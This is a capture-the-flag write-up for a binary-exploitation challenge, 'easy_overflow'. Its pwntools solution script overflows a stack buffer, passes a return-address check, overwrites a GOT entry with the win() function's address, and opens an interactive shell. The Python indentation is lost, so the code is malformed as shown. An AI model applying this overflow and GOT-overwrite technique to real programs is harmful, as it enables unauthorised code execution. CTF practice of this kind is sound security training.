I did a check on my return address. Now you shouldn't be able to control my RIP.
Solution
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break *0x4011ca
break *0x401247
continue
'''.format(**locals())
# Binary filename
exe = './easy_overflow'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
# Build the payload
payload = flat([
b'A' * 32, # Pad to stack
# Overwrite RBP with address of got.gets()
elf.got.gets, # This will become got.puts
0x401212 # Address required to meet RIP check
])
# Send the payload
io.sendlineafter(b'I will let you overflow me.', payload)
# Write the address of win() into puts()
io.sendlineafter(b'I will give you one more chance.', flat(elf.functions.win))
# Got Flag?
io.interactive()
